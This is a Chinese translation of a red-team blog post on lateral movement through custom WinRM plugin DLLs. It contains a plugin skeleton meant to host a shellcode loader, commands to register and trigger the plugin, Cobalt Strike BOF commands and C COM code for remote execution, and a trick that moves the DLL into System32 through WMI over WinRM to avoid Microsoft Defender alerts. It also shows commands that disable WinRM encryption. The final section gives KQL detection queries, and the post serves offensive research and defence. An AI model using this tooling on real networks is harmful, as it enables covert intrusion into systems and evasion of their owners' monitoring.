【翻译】Exploring WinRM plugins for lateral movement - FalconForce
背景
有一天,我意识到我没有任何用于连接 WinRM 的 Cobalt Strike BOF。当你从高权限用户那里窃取令牌并想使用 WinRM 连接到另一个系统时,这会很有用。当然,另一种方法是转储 LSASS 以获取高权限用户的哈希值,然后通过 Socks 使用 Pass-The-Hash 和 Evil-WinRM 之类的工具。但是,我认为这种方法被检测到的可能性更高。
为了填补这个技术空白,我直接查看了Microsoft 关于 WinRM 的文档并开始研究。经过一些阅读,我发现了这个仓库,其中包含了 Microsoft 提供的多个示例。其中一个是用于与 WinRM shell 交互的客户端。因此,我决定将这个示例移植到 BOF。你可以在这里查看最终代码。
当然,如果我花时间在 Google 上更仔细地搜索,我会发现另外两个 WinRM BOF 的示例,分别在这里和这里,🤷♂️。但那样的话,我就不会发现 WinRM 插件了。
预先说明一下:要与 WinRM 交互,你需要目标系统的管理员权限。因此,这里解释的所有内容都假设你拥有这样的权限。
关于 WinRM 插件
根据Microsoft 文档,WinRM 提供了一个 API 来接受第三方插件。这些插件由需要位于System32
文件夹中的 DLL 组成。要使用插件,首先需要使用以下命令在系统中注册:
winrm create http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=MyPlugIn -file:myplugin.xml
需要传递的 XML 文件内容如下所示:
<PlugInConfigurationxmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration"Name="MyPlugIn"Filename="%systemroot%system32myplugin.dll"SDKVersion="1"XmlRenderingType="text"Architecture="64"Enabled="true"><InitializationParameters><ParamName="myParam1"Value="myValue1"/><ParamName="myParam2"Value="myValue2"/></InitializationParameters><Resources><ResourceResourceUri="https://schemas.MyCompany.com/MyUri1"SupportsOptions="true"ExactMatch="false"><CapabilityType="Get"SupportsFragment="true"/><CapabilityType="Put"SupportsFragment="true"/><CapabilityType="Create"/><CapabilityType="Delete"/><CapabilityType="Invoke"/><CapabilityType="Enumerate"SupportsFiltering="true"/></Resource><ResourceResourceUri="https://schemas.MyCompany.com/MyUri2"SupportsOptions="false"ExactMatch="true"><SecurityUri="https://schemas.MyCompany.com/MyUri2"Sddl="O:NSG:BAD:P(A;;GA;;;BA)"/><SecurityUri="https://schemas.MyCompany.com/MyUri2/MoreSpecific"Sddl="O:NSG:BAD:P(A;;GR;;;BA)"ExactMatch="true"/><CapabilityType="Shell"/></Resource></Resources></PlugInConfiguration>
这个 XML 定义了多个属性,例如 DLL 在System32
文件夹中的位置、用于调用它的 URI 以及插件支持的功能。根据支持的功能,插件 DLL 需要实现特定的方法。Microsoft 文档详细说明了实现具有 shell 功能的插件所需的方法,类似于使用winrs.exe
二进制文件在远程系统上执行命令时使用的插件。你甚至可以在这个 Microsoft 仓库中找到这类插件的一个很好的示例。
然而,乍看之下,这些类型的插件相当复杂,实现横向移动技术似乎有点过度。我的目的是实现一个 WinRM 插件的最小表达,其主要功能是加载 shellcode。在这种情况下,只有Get
或Put
功能的插件就足够了。不幸的是,我找不到任何关于如何实现这种类型插件的文档,甚至连这些_基本_功能的 DLL 需要导出的方法都没有。
内置 WinRM 插件
通过在互联网上查找,开发 WinRM 插件似乎并不太流行。那么,已安装的插件又如何呢?
有趣的是,WSMan 配置作为 PowerShell 驱动器公开,这允许枚举系统中注册的插件:
PS> Get-PSDriveName Used (GB) Free (GB) Provider Root ...---- --------- --------- -------- ---- ......Variable VariableWSMan WSManPS> ls wsman:localhost
WSManConfig: Microsoft.WSMan.ManagementWSMan::localhost
Type Name SourceOfValue Value---- ---- ------------- -----System.String MaxEnvelopeSizekb 500System.String MaxTimeoutms 60000System.String MaxBatchItems 32000System.String MaxProviderRequests 4294967295Container ClientContainer ServiceContainer ShellContainer ListenerContainer PluginContainer ClientCertificate
PS> ls WSMan:localhostPlugin
WSManConfig: Microsoft.WSMan.ManagementWSMan::localhostPluginType Keys Name---- ---- ----Container {Name=Event Forwarding Plugin} Event Forwarding PluginContainer {Name=microsoft.powershell} microsoft.powershellContainer {Name=microsoft.powershell.workf... microsoft.powershell.workflowContainer {Name=microsoft.powershell32} microsoft.powershell32Container {Name=microsoft.windows.serverma... microsoft.windows.servermanagerworkflowsContainer {Name=WMI Provider} WMI Provider
我们可以看到,Windows 的基本安装已经包含了几个 WinRM 插件,其中包括一些用于 PSRemoting 的熟悉名称,如 PowerShell。但是,这些信息都保存在哪里呢?
在使用 PowerShell 枚举 WSMan 时,Process Monitor 揭示了以下内容:
在注册表中访问这个位置,我们看到了一个非常熟悉的结构:
看起来大部分 WSMan 配置(包括插件)都存储在这些注册表项中。事实上,当你运行winrm create ...
来注册新插件时,Process Monitor 会显示在相同位置创建了新的注册表项。
查看其中一个插件的关联数据显示,ConfigXML
键存储了该插件的清单。例如,对于用于 PSRemoting 的 PowerShell 插件:
从逻辑上讲,它具有Shell
功能。查看pwrshplugin.dll
的导出函数,我们可以看到它导出了一组非常熟悉的方法。这些函数与演示 WinRM 插件实现的函数相同,并且已经在 Microsoft 知识库中有所记载。
PS> dumpbin /EXPORTS .pwrshplugin.dll... ordinal hint RVA name 1 0 00003220 GetCLRVersionForPSVersion 2 1 00002F10 PerformWSManPluginReportCompletion 3 2 00003740 WSManPluginCommand 4 3 000039B0 WSManPluginConnect 5 4 000038B0 WSManPluginReceive 6 5 000037C0 WSManPluginReleaseCommandContext 7 6 000036F0 WSManPluginReleaseShellContext 8 7 00003820 WSManPluginSend 9 8 000035F0 WSManPluginShell 10 9 00003500 WSManPluginShutdown 11 A 00003930 WSManPluginSignal 12 B 00003430 WSManPluginStartup
那其他插件呢?Microsoft.Windows.ServerManagerWorkflows
插件使用的 DLL 与 PowerShell 插件相同。这是否意味着除了 PowerShell cmdlet 之外,还有其他方式可以通过 PSRemoting 与系统进行原生交互?这确实很有趣,不过这是未来需要研究的课题。
查看最后两个插件,Event Forwarding Plugin
在清单中只有Subscribe
功能,这有点令人失望。但是,WMI Provider
几乎实现了所有功能!
<PlugInConfigurationFilename="C:Windowssystem32WsmWmiPl.dll"...><Resources><ResourceResourceUri="http://schemas.microsoft.com/wbem/wsman/1/wmi"SupportsOptions="true"><SecurityUri=""... /><CapabilityType="Identify" /><CapabilityType="Get"SupportsFragment="true" /><CapabilityType="Put"SupportsFragment="true" /><CapabilityType="Invoke" /><CapabilityType="Create" /><CapabilityType="Delete" /><CapabilityType="Enumerate"SupportsFiltering="true" /><CapabilityType="Subscribe"SupportsFiltering="true" /></Resource> ...</Resources> ...</PlugInConfiguration>
以下是WsmWmiPl.dll
的导出函数:
> dumpbin /EXPORTS .WsmWmiPl.dll... ordinal hint RVA name 28 1B 00003B00 WSManPluginShutdown 29 1C 00003E80 WSManPluginStartup 30 1D 00004590 WSManProvCreate 31 1E 000047F0 WSManProvDelete 32 1F 000049D0 WSManProvEnumerate 33 20 00004CC0 WSManProvGet 34 21 00004EF0 WSManProvIdentify 35 22 00005150 WSManProvInvoke 36 23 000053E0 WSManProvPullEvents 37 24 00005560 WSManProvPut 38 25 00005810 WSManProvSubscribe 39 26 00005B00 WSManProvUnsubscribe ...
这些函数没有被 Microsoft 记录在案,在 Google 和 GitHub 上搜索也没有返回任何有趣的结果。这是否意味着我们正走在发现一些很酷东西的正确道路上?也许是,也许不是。
深入研究 WsmWmiPl.dll
在 IDA 中反汇编二进制文件并查看WSManProvPut
导出函数,我们看到它首先调用了TSTRBUFFER
和AdapterParams
类的构造函数。
然后它通过PutXmlToCimObject
和GetXmlFromCimObject
函数与 WMI 交互来更新记录。
在结束之前,它调用了三个与 WSMan 相关的函数:GetWsmanData
、WSManPluginObjectResult
和WSManPluginOperationComplete
。
最后一个调用在文档中有记载,它报告了 WinRM 插件中操作的完成。因此,在插件中实现put
功能似乎很简单。上面观察到的大多数操作在我们的情况下似乎都不需要。我们只需要确保在从WSManProvPut
返回之前调用WSManPluginOperationComplete
。只差一个细节:WSManProvPut
的函数原型。幸运的是,这可以通过在 IDA 中反汇编WsmSvc.dll
并查找这个函数来获得:
最小 WinRM 插件
有了所有这些信息,我们就可以编译一个非常基础的 WinRM 插件了。我们想把 shellcode 加载器的主要逻辑放在WSManProvPut
里面。然后,WSManPluginStartup
和WSManPluginShutdown
也需要存在,因为它们是任何 WinRM 插件所必需的。在这一点上,你可能会问:为什么要费这么大劲去寻找另一个函数?为什么不在dllmain
中的DLL_PROCESS_ATTACH
或者甚至在WSManPluginStartup
中执行代码?原因是,首先,要避免加载器锁定问题,其次,查看WSManPluginStartup
的文档,这个函数似乎可以被多次调用,这不是我们想要的。
dllmain.cpp
看起来是这样的:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){return TRUE;}extern"C" __declspec(dllexport) DWORD WINAPI WSManPluginStartup( DWORD flags, PCWSTR applicationIdentification, PCWSTR extraInfo, PVOID *pluginContext){ OutputDebugString(L"Inside WSManPluginStartup");return NO_ERROR;}extern"C" __declspec(dllexport) DWORD WINAPI WSManPluginShutdown( PVOID pluginContext, DWORD flags, DWORD reason){ OutputDebugString(L"Inside WSManPluginShutdown");return NO_ERROR;}extern"C" __declspec(dllexport) VOID WINAPI WSManProvPut(WSMAN_PLUGIN_REQUEST *requestDetails){ OutputDebugString(L"Inside WSManProvPut");// run_stuff(); WSManPluginOperationComplete(requestDetails,0, GetLastError(),NULL);return;}
编译完成后,我们必须将 DLL 复制到C:WindowsSystem32
。DLL 的名称不需要特别指定。例如,在本例中它是another-winrm-plugin.dll
。
然后要注册插件,我们必须首先创建以下manifest.xml
:
<PlugInConfigurationxmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration"Name="another-winrm-plugin"Filename="%systemroot%system32another-winrm-plugin.dll"SDKVersion="1"XmlRenderingType="text"Architecture="64"Enabled="true"><Resources><ResourceResourceUri="https://schemas.microsoft.com/another-winrm-plugin"SupportsOptions="true"ExactMatch="true"><CapabilityType="Put" /></Resource></Resources></PlugInConfiguration>
然后执行这个winrm
命令:
PS> winrm create http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=another-winrm-plugin -file:.manifest.xml
ResourceCreatedAddress = http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymousReferenceParametersResourceURI = http://schemas.microsoft.com/wbem/wsman/1/config/pluginSelectorSetSelector: name = another-winrm-plugin
如果我们查看注册表,可以看到已创建了一个新的键值:
在调用我们的插件之前,我们必须先重启 WinRM 服务:
PS> Get-Service winrm | Restart-Service
最后,我们使用 WinRM 调用插件。需要注意的是,你需要传递一个_空的_ XML 文件。其内容可以简单到只有<a/>
。
winrm put https://schemas.microsoft.com/another-winrm-plugin -file:.contents.xml
通过DebugView,我们可以看到OutputDebugString
的调用。需要注意的是,WSManPluginShutdown
还没有被调用。快速查看文档后,似乎这个函数只在插件 DLL 被卸载时才会被调用。经过一些测试,重启 WinRM 会调用这个函数;目前这对我们来说并不重要。
在ProcessHacker中,我们可以看到winprovhost.exe
是负责加载和执行 WinRM 插件的进程。即使在成功调用Put
方法后,这个进程似乎仍然会继续运行。不过,重启 WinRM 服务会正常 (?) 退出这个进程,这会触发对WSManPluginShutdown
的调用。
横向移动 BOF
到目前为止,我们已经掌握了使用 WinRM 插件编写横向移动 BOF 所需的所有内容。为了让操作员使用更方便,BOF 可以分为以下三个主要操作:
1 — 安装插件
-
注册 WinRM 插件。要在这个层面与 WinRM 交互,你需要使用 COM 编程,而我就是无法让它工作。这里有两个可能的解决方案 (猜猜我选择了哪个):正确的解决方案:学习 COM 编程并使其工作;短期解决方案 + 技术债:通过 SCManager
启用并启动RemoteRegistry
,然后使用RegCreateKeyExW
创建注册表项。 -
使用 CreateFile
和WriteFile
将文件复制到System32
文件夹。 -
停止 RemoteService
并将其配置恢复为默认值。
BOF 命令:
beacon> winrm-plugin-jump --action install --hostname app1 --dll <local-path-to-dll>
2 — 调用 WinRM 插件
现在我们只需要调用 WinRM 插件的Put
方法。这次,我不得不通过 COM 来实现(没有其他选择)。下面,我将描述从 C 语言执行这些操作所需的主要调用。正如你可能猜到的那样,我目前对 COM 编程几乎没有任何经验(暂时),所以非常欢迎任何建设性的反馈。
为当前线程初始化 COM 并为WSMan
类创建一个实例:
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);if (FAILED(hr)){ BeaconPrintf(CALLBACK_ERROR, "error CoInitializeEx, COM error: (hr=%08X)n", hr);return;}DEBUG("Success CoInitializeExn");CLSIDFromString(L"{BCED617B-EC03-420b-8508-977DC7A686BD}", &CLSID_WSMAN);CLSIDFromString(L"{190D8637-5CD3-496d-AD24-69636BB5A3B5}", &IID_IWSMAN);IWSMan *pWSMan = NULL;hr = CoCreateInstance(CLSID_WSMAN, NULL, CLSCTX_INPROC_SERVER, IID_IWSMAN, (void **)&pWSMan);if (FAILED(hr)){ BeaconPrintf(CALLBACK_ERROR, "error CoCreateInstance, COM error: %ld)n", hr);goto COMUninitialize;}DEBUG("Success CoCreateInstancen");
使用对象pWSMan
的CreateSession
方法,我们连接到远程服务器:
IDispatch *pSessionDispatch = NULL;swprintf_s(remoteComputerNameWsMan, MAX_PATH, L"http://%s:5985/wsman", remoteComputerName);BSTR connectionUrl = SysAllocString(remoteComputerNameWsMan);hr = pWSMan->CreateSession(connectionUrl, NULL, NULL, &pSessionDispatch);if (FAILED(hr)){ BeaconPrintf(CALLBACK_ERROR, "error CreateSession, COM error: (hr=%08X)n", hr);goto COMIWSManRelease;}DEBUG("Success CreateSessionn");
为了暴露并能够调用Put
方法,我们首先需要使用QueryInterface
查询会话对象的指针:
CLSIDFromString(L"{FC84FC58-1286-40c4-9DA0-C8EF6EC241E0}", &IID_WSMAN_SESSION);IWSManSession *pSession = NULL;hr = pSessionDispatch->QueryInterface(IID_WSMAN_SESSION, (void **)&pSession);if (FAILED(hr)){ BeaconPrintf(CALLBACK_ERROR, "error QueryInterface, COM error: (hr=%08X)n", hr);goto COMInstanceRelease;}DEBUG("Success QueryInterfacen");
然后我们终于可以进行调用了:
VariantInit(&resourceUri);resourceUri.vt = VT_BSTR;resourceUri.bstrVal = SysAllocString(L"https://schemas.microsoft.com/another-winrm-plugin");BSTR resourceData = SysAllocString(L"<a/>");LONG flags = NULL;BSTR result = NULL;hr = pSession->Put(resourceUri, resourceData, flags, &result);if (FAILED(hr)){ BeaconPrintf(CALLBACK_ERROR, "error Put, COM error: (hr=%08X)n", hr);goto COMClearVariant;}DEBUG("Success Put, result: %wsn", result);
BOF 命令:
beacon> winrm-plugin-jump --action call --hostname app1
3 — 卸载插件
在离开系统之前,我们需要清理所有我们做出的更改
-
通过 SCManager
启用并启动RemoteRegistry
,然后使用RegDeleteTreeW
删除注册表项(并承担一些技术债务)。 -
重启 WinRM 服务。请注意,这样做会导致所有在 winprovhost.exe
进程中运行的 beacon 死亡。 -
从 System32
中删除 DLL。
BOF 命令:
beacon> winrm-plugin-jump --action uninstall --hostname app1
你可以在这里找到 WinRM 插件和 BOF 的代码。
结论
-
使用 WinRM 插件,我们成功地以隐蔽的方式实现了横向移动。 -
这是一个新发现的技术,它允许...
...哦不!它被 Defender 检测到了,而且是两次!
这...太糟糕了。事实上,情况更糟。这是我遇到的少数几个触发时间较长的内置警报之一。从我执行操作的那一刻起,它花了超过 1 小时才出现,这让我以为我创造了一些不会被默认检测到的东西。
老实说,考虑到从操作安全的角度来看,我们对目标系统做了各种不好的事情,检测被触发并不应该那么令人惊讶。与服务交互、通过共享将文件复制到System32
等。看起来是个失败的尝试,对吧?也许这就是为什么从来没有人想要碰 WinRM 插件的原因。
但是等等,怎么回事?
我们为 WinRM 编译的插件不能变得不那么恶意;它只导出三个函数,而且只调用OutputDebugString
和WSManPluginOperationComplete
。WinRM 插件虽然使用不广泛,但是有文档记载并且是设计用来使用的,对吧?肯定存在一种方法来实现一个不会触发来自同一家设计它们的公司的警报的插件!
回顾过去,到目前为止我们做的最脏的事情就是使用c$
远程复制文件到System32
。我无法想象有多少合法的软件安装或更新会这样做。让我们看看 Defender 收集的文件事件,看看这个活动是如何被报告的。
如你所见,FileCreated
操作包含属性ShareName
,如果它是从共享发生的,就会被填充,在我们的例子中是c$
。这是有道理的,因为我们使用了像\ws1c$...
这样的 URI 来远程复制文件。
那么,如果我们重复上面详述的所有步骤,除了复制文件到System32
的操作呢?在我们的下一次尝试中,我们通过 RDP 来完成最后一步。
超过 2 小时后,Defender 上什么都没有触发!不错,看起来很有希望。但是,我们如何远程做这个呢?
使用 CIM_LogicFile WMI 类在本地(但远程)移动文件
在 Google 上搜索 WMI 技术时,我发现了 FortyNorth Security 的这篇文章。这是一篇直截了当的文章,基本上解释了你可以通过CIM_LogicalFile
WMI 类执行复制操作。由于他们已经很好地解释了如何使用 WMI 对象,我在这里就不重复了。
有了这个,我们可以遵循这个策略:首先将文件复制到C:temp
目录的c$
共享,然后使用 WMI 类将其移动到System32
的最终目的地。
让我们看看在我们的例子中 PowerShell 命令会是什么样子:
PS> $file = Get-WmiObject -Class CIM_LogicalFile -Filter 'Name = "C:\temp\temp-another-winrm-plugin.dll"' -ComputerName ws1PS> Invoke-WmiMethod -InputObject $file -Name copy -ArgumentList "C:\WindowsSystem32another-winrm-plugin.dll"
使用这个类的一个好的初始迹象是,你永远不需要使用共享。所以不需要引用c$
。在继续实现为 BOF 之前,让我们看看在 Defender 日志中这个操作是如何反映的。
看起来 Defender 能够记录 WMI 命令。我们可以看到第一个Get-WmiObject
在内部是如何被转换为SELECT
语句的。
然而,复制操作只记录了源路径。事实上,这些信息似乎来自创建对象的那一刻。而且,目标路径在这个操作中的任何地方都看不到。这意味着,除非进行一些基于时间的手动关联与FileCreated
事件,否则从 Defender 的角度来看,这个操作是不可见的!这是未来需要记住的一点。
最后,我之前提到的由wmiprsve.exe
执行的FileCreated
事件,似乎并没有显示它是从另一个系统_请求_的。
通过CIM_LogicFile
WMI 类将 WinRM 插件复制到System32
确实很有前途。但是有一个问题:_原生_与 WMI 交互涉及 RPC 调用,这需要 TCP/135 端口加上一个临时端口。这个尚未存在的基于 WinRM 插件的横向移动技术已经需要 TCP/445 用于服务和文件操作,以及 TCP/5985 用于 WinRM。在此基础上再添加一堆 RPC 交互会进一步降低在真实环境中的实用性。
通过 WinRM 使用 WMI
但是等等!在前面几节中,我们探索了一个名为 WMI Provider 的插件,你猜对了,它允许通过 WinRM 与 WMI 交互。感谢 Red Canary 的这篇文章让我注意到这一点。查看Microsoft 文档也有所帮助。
因此,我们可以将 PowerShell WMI 命令转换为winrm
命令,如:
winrm invoke copy http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile?name=C:\temp\temp-another-winrm-plugin.dll '@{filename="C:\Windows\System32\another-winrm-plugin.dll"}'
在将其移植到 C 语言用于 BOF 之前,让我们先看看发送的 HTTP SOAP 消息。默认情况下,WinRM 传输是加密的。但你可以使用这样的脚本来解密它们。或者在这种情况下更好的方法是,你可以更改 WinRM 客户端和服务器的配置以允许未加密通信。这可以通过以下命令来实现(分别在客户端和服务器上执行):
winrm set winrm/config/client '@{AllowUnencrypted="true"}'winrm set winrm/config/service '@{AllowUnencrypted="true"}'
然后,在执行winrm invoke copy
操作后,我们在 Wireshark 中看到以下 HTTP 消息(编码错误是由于 HTTP 消息体采用 UTF-16 编码,而 HTTP 头采用 UTF-8 编码导致的)。
美化后的消息体内容:
<s:Envelope...><s:Header> ...<w:SelectorSet><w:SelectorName="name">C:tempanother-winrm-plugin.dll</w:Selector></w:SelectorSet></s:Header><s:Body><p:copy_INPUTxmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile"><p:filename>C:WindowsSystem32another-winrm-plugin.dll</p:filename></p:copy_INPUT></s:Body></s:Envelope>
通过 WinRM 从 C 语言调用 WMI 类的Invoke
方法与之前解释的Put
调用非常相似。上面消息体中的内容需要作为parameters
参数传递给Invoke
调用。
BOOL copyFileCIM_LogicalFile(LPCWSTR remoteComputerName){ <Initialize COM, Create WSMan object, CreateSession and QueryInterface> WCHAR CIM_LogicalFilePath[MAX_PATH]; swprintf_s(CIM_LogicalFilePath, MAX_PATH,LR"(http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile?name=C:%s.dll)", PLUGIN_TEMP_NAME); VariantInit(&resourceUri); resourceUri.vt = VT_BSTR; resourceUri.bstrVal = SysAllocString(CIM_LogicalFilePath); WCHAR inputParametersXML[512]; swprintf_s(inputParametersXML, 512,LR"(<p:copy_INPUTxmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile"><p:filename>C:WindowsSystem32%s.dll</p:filename></p:copy_INPUT>)", PLUGIN_NAME); BSTR inputParameters = SysAllocString(inputParametersXML); LONG flags = NULL; BSTR result = NULL; HRESULT hr = pSession->Invoke(SysAllocString(L"Copy"), resourceUri, inputParameters, flags, &result);if (FAILED(hr)) { BeaconPrintf(CALLBACK_ERROR, "error Invoke Copy, COM error: (hr=%08X)n", hr); success = FALSE;goto COMClearVariant; } DEBUG("Success Invoke Copy, result: %wsn", result);<clean-operations>}
好了,现在我们可以在不触发 Defender 警报的情况下执行攻击了!BOF 的最终代码在这里(和之前一样的链接 😉)。
在结束之前,这里有一个简短的视频展示了如何使用 BOF 通过这里解释的技术横向移动到另一台计算机。
https://youtu.be/iA_Z8LrO9C0
一些注意事项:
-
用于获取 beacon 的 DLL 实现了一些规避技术,以避免被 Defender 静态和动态标记,这里我没有详细介绍。 -
据我所知,调用看起来无害的 DLL 应该可以正常使用这个 BOF。但是,直接使用 Cobalt Strike 生成的 DLL 肯定会被标记。
检测
要检测这种技术,我们可以查找 wsmprovhost.exe 加载二进制文件的 DLL 加载事件,其流行度低于某个阈值,例如 100。如果环境中使用了非内置的 WinRM 插件,可能会出现某些误报。在这种情况下,将其加入白名单就足够了。
DeviceImageLoadEvents| where TimeGenerated >= ago(30d)| where InitiatingProcessFileName =~ "wsmprovhost.exe"| invoke FileProfile(SHA1, 1000)| where ProfileAvailability !~ "Error"| where GlobalPrevalence < 100| where FolderPath !startswith @"C:windowsassemblynativeimages_"
我们甚至可以更进一步,将其与磁盘上的文件投放进行关联:
let potentialPlugins = DeviceImageLoadEvents| where Timestamp >= ago(30d)| where InitiatingProcessFileName =~ "wsmprovhost.exe"| where FolderPath !startswith @"C:windowsassemblynativeimages_"| invoke FileProfile(SHA1, 1000)| where ProfileAvailability !~ "Error"| where GlobalPrevalence < 100| extend FolderPath=tolower(FolderPath);let potentialWrites = DeviceFileEvents| where Timestamp >= ago(30d)| where ActionType in~ ("FileCreated", "FileRenamed", "FIleModified")| where SHA1 in~ ((potentialPlugins | project SHA1))| extend FolderPath=tolower(FolderPath);potentialPlugins| join kind=inner potentialWrites on SHA1, DeviceId, FolderPath
感谢 Henri Hambartsumyan 创建了这个检测规则。完整版本的检测规则可以在我们的 FalconFriday Github 上找到。
最终思考
-
我们利用 WinRM 插件通过 DLL 在目标系统上执行代码。如前所述,你需要在目标系统上拥有本地管理员权限。 -
通过 WinRM 使用 CIM_LogicFile WMI 类帮助我们避开了类似的警报(在 Defender 中),这一点值得记住。 -
事实上,探索如何使用 WMI 类来执行这项技术中涉及的服务和注册表操作将是很有价值的。这样可以让我们避免与 TCP/445 端口的交互。不过这个话题可能会在未来的文章中讨论。 -
ChatGPT 在提供常见函数的实现示例时仍然让我感到惊讶。但是学习 COM 编程仍然是必要的,下次 AI 可能帮不了我们。
原文始发于微信公众号(securitainment):探索用于横向移动的 WinRM BOF 插件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论